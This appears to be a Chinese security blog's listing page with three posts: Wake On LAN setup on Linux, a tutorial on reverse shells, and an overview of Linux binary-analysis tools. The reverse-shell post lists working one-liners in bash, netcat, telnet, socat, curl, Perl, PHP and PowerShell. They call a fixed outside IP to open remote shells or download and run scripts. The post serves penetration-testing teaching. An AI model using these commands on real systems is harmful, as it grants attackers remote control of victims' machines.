首页
相册
统计
留言
更多
网安工具
CTF工具
关于
Search
1
椭圆曲线加密算法原理(ECC)
5,324 阅读
2
SMBGhost(CVE-2020-0796)漏洞利用
4,302 阅读
3
关于gdb调试
4,065 阅读
4
Arduino使用CubeCell开发板进行LORA无线通信
3,852 阅读
5
Diffie-Hellman密钥协商算法
3,542 阅读
深度学习
技术随笔
应急响应
漏洞复现
流量分析
溯源
入侵检测
Linux
eBPF
服务配置
渗透测试
信息收集
横向攻击
密码学
web安全
CTF
登录
Search
标签搜索
单片机
密码学
Windows
BPF
Python
Linux
Mysql
APP开发
软考
Cobalt Strike
flutter
入侵检测
HSM's Blog
累计撰写
53
篇文章
累计收到
11
条评论
首页
栏目
深度学习
技术随笔
应急响应
漏洞复现
流量分析
溯源
入侵检测
Linux
eBPF
服务配置
渗透测试
信息收集
横向攻击
密码学
web安全
CTF
页面
相册
统计
留言
网安工具
CTF工具
关于
搜索到
3
篇与
的结果
2020-07-06
在Linux下用Wake On LAN实现远程开机
在Linux下用Wake On LAN实现远程开机请先确认满足以下环境要求:操作机器与目标机器在同一局域网内,目标机器电源和网线已插好,目标机器网卡和主板均支持远程唤醒。华为和荣耀的笔记本不支持BIOS没Wake Up On LAN这个选项,垃圾笔记本-_-具体操作步骤:1. 在本机安装Wake On LAN。可从官方网站下载。如果使用Fedora,则可以用yum命令安装:yum install wol #或者 dnf install wol如果是Manjaro/Archsudo pacman -S wol2. 登录目标机器,运行ethtool命令查看网卡是否支持Wake On Lanethtool eth0看这两行Supports Wake-on: pumbgWake-on: d若Wake-on为d,表示禁用Wake On LAN,需要启用它。ethtool -s eth0 wol g # 这条命令需要root,不然就算支持也不显示Wake-on: d如果已经是g就不用管了,说明目标机器的网卡已经支持Wake On LAN.3. 查看目标机器网卡的MAC地址ifconfig比如获得的MAC地址为 00:01:0A:02:0B:034. 关闭目标机器,在主机运行wol命令Manjaro可以使用wol命令唤醒wol 00:01:0A:02:0B:03这个命令在Arch/Manjaro上有效,不知道其他Linux发行办有没有,反正Ubuntu(apt)上的没有Ubuntu可以使用wakeonlan命令Ubuntu上没有wol这个安装包,不过可以安装wakeonlansudo apt install wakeonlan远程唤醒wakeonlan 00:01:0A:02:0B:03一般来说,目标机器这时就会开启了。如果没用,请进入下一步检查主板是否支持Wake On LAN5. 检查主板是否支持Wake On LAN开机时进入BIOS,查看CMOS中的“Power Management Setup”,通常里面会有“Wake On LAN”,将其设置为“Enable”。若没有Wake On LAN,可以再看看有没有"ake On PCI Card"。这里需要留意PCI的选项可能有两个,确保每次只将其中之一设置为Enable,不然可能会造成机器循环重启。华为笔记本按Fn+F2进入BIOS,目测不支持...远程开机还是很给力的。我给隔壁主机设置了开机自动打开dhcp和ssh服务,wol唤醒它之后用ssh登录,就可以操作或远程关机,实现了对其控制的目的。
2020年07月06日
1,354 阅读
0 评论
0 点赞
2020-05-19
反弹shell介绍
一、 反弹shell简介反弹shell就是指由被控端(靶机/肉鸡)发起连接请求到主控端(攻击机),主控端需在被控端发起请求前提前进行端口监听,最终产生一个交互的会话过程就叫做反弹shell。反弹shell适用于如下几个场景:局域网内,无法直接连接被控端;目标机器的IP不断改变;由于策略限制,对方机器只能发送请求,无法直接接收请求。以下介绍下几种反弹shell的方式。二、 Bash反弹shellBash:Bash是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。VPS:nc -lvnp 8333靶机:bash -i >& /dev/tcp/43.138.236.131/8333 0>&1三、 Netcat反弹shellNetcat:NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end) 工具,能被其它的程序或脚本直接地或容易地驱动。VPS:nc -lvnp 8333靶机:nc 43.138.236.131 8333 -e bin/bash四、 Telnet反弹shellTelnet:Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。VPS开启监听:nc -lvpn 8334客户端链接:mknod a p;telnet 43.138.236.131 8334 0<a | /bin/bash 1>a五、 Socat反弹shellSocat:Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。Socat 并不是大多数Linux发行版本会预装的软件,需要手动进行安装yum install -y socat 或 apt-get install socatVPS:socat TCP-LISTEN:8333 –靶机:socat tcp-connect:43.138.236.131:8333 exec:'bash -li',pty,stderr,setsid,sigint,sane六、 Curl反弹shellCurl:Curl是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称Curl为下载工具。Curl还包含了用于程序开发的libcurl。步骤:VPS:1、 创建index.html文件echo 'bash -c "bash -i >& /dev/tcp/43.138.236.131/8333 0>&1"' > index.html2、 开启http服务(与创建的文件同目录):python -m SimpleHTTPServer 83323、 开启监听:nc -lvnp 8333靶机:curl http://43.138.236.131:8332|bash七、 Perl反弹shellPerl:Perl一种功能丰富的计算机程序语言,运行在超过100种计算机平台上,适用广泛,从最初是为文本处理而开发的,现在用于各种任务,包括系统管理,Web开发,网络编程,GUI开发等。VPS:nc -lvnp 8333靶机:perl -e 'use Socket;$i="43.138.236.131";$p=8333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'八、 PHP反弹shellPHP:PHP(PHP: Hypertext Preprocessor)即“超文本预处理器”,是在服务器端执行的脚本语言,尤其适用于Web开发并可嵌入HTML中。VPS:nc -lvnp 8333靶机:php -r '$sock=fsockopen("43.138.236.131","8333");exec("/bin/sh -i <&3 >&3 2>&3");'十、 Powercat脚本反弹shellPowercat:Powercat是一个powershell函数。脚本下载地址:https://github.com/perlh/powercatVPSVPS上传Powershell脚本后开启http服务(python2版本):python -m SimpleHTTPServer 8332VPS开启端口监听:nc -lvnp 8333靶机靶机运行如下脚本即可看到VPS端收到反弹的会话(web服务的端口记得写)powershell IEX (New-Object System.Net.Webclient).DownloadString(‘http://43.138.236.131:8332/powercat.ps1‘); powercat -c 43.138.236.131 -p 8333 -e cmd十一、 Nishang脚本反弹shellNishang:Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。脚本下载地址:https://github.com/samratashok/nishangVPS上传nishang脚本后开启web服务:python -m SimpleHTTPServer 9933VPS开启服务端监听:nc -lvnp 10010靶机运行如下脚本即可看到VPS端收到反弹的会话(web服务的端口记得写)powershell IEX (New-Object Net.WebClient).DownloadString('http://43.138.236.131:9933/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 43.138.236.131 -port 10010
2020年05月19日
945 阅读
0 评论
1 点赞
2020-05-06
在 Linux 上分析二进制文件的 10 种方法
file它的作用:帮助确定文件类型。这将是你进行二进制分析的起点。我们每天都在与文件打交道,并非所有的文件都是可执行类型,除此之外还有各种各样的文件类型。在你开始之前,你需要了解要分析的文件类型。是二进制文件、库文件、ASCII 文本文件、视频文件、图片文件、PDF、数据文件等文件吗?file 命令将帮助你确定你所处理的文件类型。# file /bin/ls /bin/ls: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=94943a89d17e9d373b2794dcb1f7e38c95b66c86, stripped $ $ file /etc/passwd /etc/passwd: ASCII text $ldd它的作用:打印共享对象依赖关系。如果你已经在一个可执行的二进制文件上使用了上面的 file 命令,你肯定会看到输出中的“ 动态链接(dynamically linked)”信息。它是什么意思呢?在开发软件的时候,我们尽量不要重造轮子。有一组常见的任务是大多数软件程序需要的,比如打印输出或从标准输入/打开的文件中读取等。所有这些常见的任务都被抽象成一组通用的函数,然后每个人都可以使用,而不是写出自己的变体。这些常用的函数被放在一个叫 libc 或 glibc 的库中。如何找到可执行程序所依赖的库?这就是 ldd 命令的作用了。对动态链接的二进制文件运行该命令会显示出所有依赖库和它们的路径。$ ldd /bin/ls linux-vdso.so.1 => (0x00007ffef5ba1000) libselinux.so.1 => /lib64/libselinux.so.1 (0x00007fea9f854000) libcap.so.2 => /lib64/libcap.so.2 (0x00007fea9f64f000) libacl.so.1 => /lib64/libacl.so.1 (0x00007fea9f446000) libc.so.6 => /lib64/libc.so.6 (0x00007fea9f079000) libpcre.so.1 => /lib64/libpcre.so.1 (0x00007fea9ee17000) libdl.so.2 => /lib64/libdl.so.2 (0x00007fea9ec13000) /lib64/ld-linux-x86-64.so.2 (0x00007fea9fa7b000) libattr.so.1 => /lib64/libattr.so.1 (0x00007fea9ea0e000) libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fea9e7f2000) $ltrace它的作用:库调用跟踪器。我们现在知道如何使用 ldd 命令找到一个可执行程序所依赖的库。然而,一个库可以包含数百个函数。在这几百个函数中,哪些是我们的二进制程序正在使用的实际函数?ltrace 命令可以显示运行时从库中调用的所有函数。在下面的例子中,你可以看到被调用的函数名称,以及传递给该函数的参数。你也可以在输出的最右边看到这些函数返回的内容。$ ltrace ls __libc_start_main(0x4028c0, 1, 0x7ffd94023b88, 0x412950 <unfinished ...> strrchr("ls", '/') = nil setlocale(LC_ALL, "") = "en_US.UTF-8" bindtextdomain("coreutils", "/usr/share/locale") = "/usr/share/locale" textdomain("coreutils") = "coreutils" __cxa_atexit(0x40a930, 0, 0, 0x736c6974756572) = 0 isatty(1) = 1 getenv("QUOTING_STYLE") = nil getenv("COLUMNS") = nil ioctl(1, 21523, 0x7ffd94023a50) = 0 << snip >> fflush(0x7ff7baae61c0) = 0 fclose(0x7ff7baae61c0) = 0 +++ exited (status 0) +++ $hexdump它的作用:以 ASCII、十进制、十六进制或八进制显示文件内容。通常情况下,当你用一个应用程序打开一个文件,而它不知道如何处理该文件时,就会出现这种情况。尝试用 vim 打开一个可执行文件或视频文件,你屏幕上会看到的只是抛出的乱码。在 hexdump 中打开未知文件,可以帮助你看到文件的具体内容。你也可以选择使用一些命令行选项来查看用 ASCII 表示的文件数据。这可能会帮助你了解到它是什么类型的文件。$ hexdump -C /bin/ls | head 00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 00000010 02 00 3e 00 01 00 00 00 d4 42 40 00 00 00 00 00 |..>......B@.....| 00000020 40 00 00 00 00 00 00 00 f0 c3 01 00 00 00 00 00 |@...............| 00000030 00 00 00 00 40 00 38 00 09 00 40 00 1f 00 1e 00 |....@.8...@.....| 00000040 06 00 00 00 05 00 00 00 40 00 00 00 00 00 00 00 |........@.......| 00000050 40 00 40 00 00 00 00 00 40 00 40 00 00 00 00 00 |@.@.....@.@.....| 00000060 f8 01 00 00 00 00 00 00 f8 01 00 00 00 00 00 00 |................| 00000070 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 |................| 00000080 38 02 00 00 00 00 00 00 38 02 40 00 00 00 00 00 |8.......8.@.....| 00000090 38 02 40 00 00 00 00 00 1c 00 00 00 00 00 00 00 |8.@.............| $strings它的作用:打印文件中的可打印字符的字符串。如果你只是在二进制中寻找可打印的字符,那么 hexdump 对于你的使用场景来说似乎有点矫枉过正,你可以使用 strings 命令。在开发软件的时候,各种文本/ASCII 信息会被添加到其中,比如打印信息、调试信息、帮助信息、错误等。只要这些信息都存在于二进制文件中,就可以用 strings 命令将其转储到屏幕上。$ strings /bin/lsreadelf它的作用:显示有关 ELF 文件的信息。ELF( 可执行和可链接文件格式(Executable and Linkable File Format))是可执行文件或二进制文件的主流格式,不仅是 Linux 系统,也是各种 UNIX 系统的主流文件格式。如果你已经使用了像 file 命令这样的工具,它告诉你文件是 ELF 格式,那么下一步就是使用 readelf 命令和它的各种选项来进一步分析文件。在使用 readelf 命令时,有一份实际的 ELF 规范的参考是非常有用的。你可以在 这里 找到该规范。$ readelf -h /bin/ls ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x4042d4 Start of program headers: 64 (bytes into file) Start of section headers: 115696 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 9 Size of section headers: 64 (bytes) Number of section headers: 31 Section header string table index: 30 $objdump它的作用:从对象文件中显示信息。二进制文件是通过你编写的源码创建的,这些源码会通过一个叫做编译器的工具进行编译。这个编译器会生成相对于源代码的机器语言指令,然后由 CPU 执行特定的任务。这些机器语言代码可以通过被称为汇编语言的助记词来解读。汇编语言是一组指令,它可以帮助你理解由程序所进行并最终在 CPU 上执行的操作。objdump 实用程序读取二进制或可执行文件,并将汇编语言指令转储到屏幕上。汇编语言知识对于理解 objdump 命令的输出至关重要。请记住:汇编语言是特定于体系结构的。$ objdump -d /bin/ls | head /bin/ls: file format elf64-x86-64 Disassembly of section .init: 0000000000402150 <_init@@Base>: 402150: 48 83 ec 08 sub $0x8,%rsp 402154: 48 8b 05 6d 8e 21 00 mov 0x218e6d(%rip),%rax # 61afc8 <__gmon_start__> 40215b: 48 85 c0 test %rax,%raxstrace它的作用:跟踪系统调用和信号。如果你用过前面提到的 ltrace,那就把 strace 想成是类似的。唯一的区别是,strace 工具不是追踪调用的库,而是追踪系统调用。系统调用是你与内核对接来完成工作的。举个例子,如果你想把一些东西打印到屏幕上,你会使用标准库 libc 中的 printf 或 puts 函数;但是,在底层,最终会有一个名为 write 的系统调用来实际把东西打印到屏幕上。$ strace -f /bin/ls execve("/bin/ls", ["/bin/ls"], [/* 17 vars */]) = 0 brk(NULL) = 0x686000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f967956a000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=40661, ...}) = 0 mmap(NULL, 40661, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f9679560000 close(3) = 0 << snip >> fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f9679569000 write(1, "R2 RH\n", 7R2 RH ) = 7 close(1) = 0 munmap(0x7f9679569000, 4096) = 0 close(2) = 0 exit_group(0) = ? +++ exited with 0 +++nm它的作用:列出对象文件中的符号。如果你所使用的二进制文件没有被剥离,nm 命令将为你提供在编译过程中嵌入到二进制文件中的有价值的信息。nm 可以帮助你从二进制文件中识别变量和函数。你可以想象一下,如果你无法访问二进制文件的源代码时,这将是多么有用。为了展示 nm,我们快速编写了一个小程序,用 -g 选项编译,我们会看到这个二进制文件没有被剥离。$ cat hello.c#include <stdio.h> int main() { printf("Hello world!"); return 0; } $ $ gcc -g hello.c -o hello $ $ file hello hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=3de46c8efb98bce4ad525d3328121568ba3d8a5d, not stripped $ $ ./hello Hello world!$ $ $ nm hello | tail 0000000000600e20 d __JCR_END__ 0000000000600e20 d __JCR_LIST__ 00000000004005b0 T __libc_csu_fini 0000000000400540 T __libc_csu_init U __libc_start_main@@GLIBC_2.2.5 000000000040051d T main U printf@@GLIBC_2.2.5 0000000000400490 t register_tm_clones 0000000000400430 T _start 0000000000601030 D __TMC_END__ $gdb它的作用:GNU 调试器。好吧,不是所有的二进制文件中的东西都可以进行静态分析。我们确实执行了一些运行二进制文件(进行分析)的命令,比如 ltrace 和 strace;然而,软件由各种条件组成,这些条件可能会导致执行不同的替代路径。分析这些路径的唯一方法是在运行时环境,在任何给定的位置停止或暂停程序,并能够分析信息,然后再往下执行。这就是调试器的作用,在 Linux 上,gdb 就是调试器的事实标准。它可以帮助你加载程序,在特定的地方设置断点,分析内存和 CPU 的寄存器,以及更多的功能。它是对上面提到的其他工具的补充,可以让你做更多的运行时分析。有一点需要注意的是,一旦你使用 gdb 加载一个程序,你会看到它自己的 (gdb) 提示符。所有进一步的命令都将在这个 gdb 命令提示符中运行,直到你退出。我们将使用我们之前编译的 hello 程序,使用 gdb 来看看它的工作原理$ gdb -q ./hello Reading symbols from /home/flash/hello...done. (gdb) break main Breakpoint 1 at 0x400521: file hello.c, line 4. (gdb) info break Num Type Disp Enb Address What 1 breakpoint keep y 0x0000000000400521 in main at hello.c:4 (gdb) run Starting program: /home/flash/./hello Breakpoint 1, main () at hello.c:4 4 printf("Hello world!"); Missing separate debuginfos, use: debuginfo-install glibc-2.17-260.el7_6.6.x86_64 (gdb) bt #0 main () at hello.c:4 (gdb) c Continuing. Hello world![Inferior 1 (process 29620) exited normally] (gdb) q $结语一旦你习惯了使用这些原生的 Linux 二进制分析工具,并理解了它们提供的输出,你就可以转向更高级和专业的开源二进制分析工具,比如 radare2 。
2020年05月06日
728 阅读
0 评论
0 点赞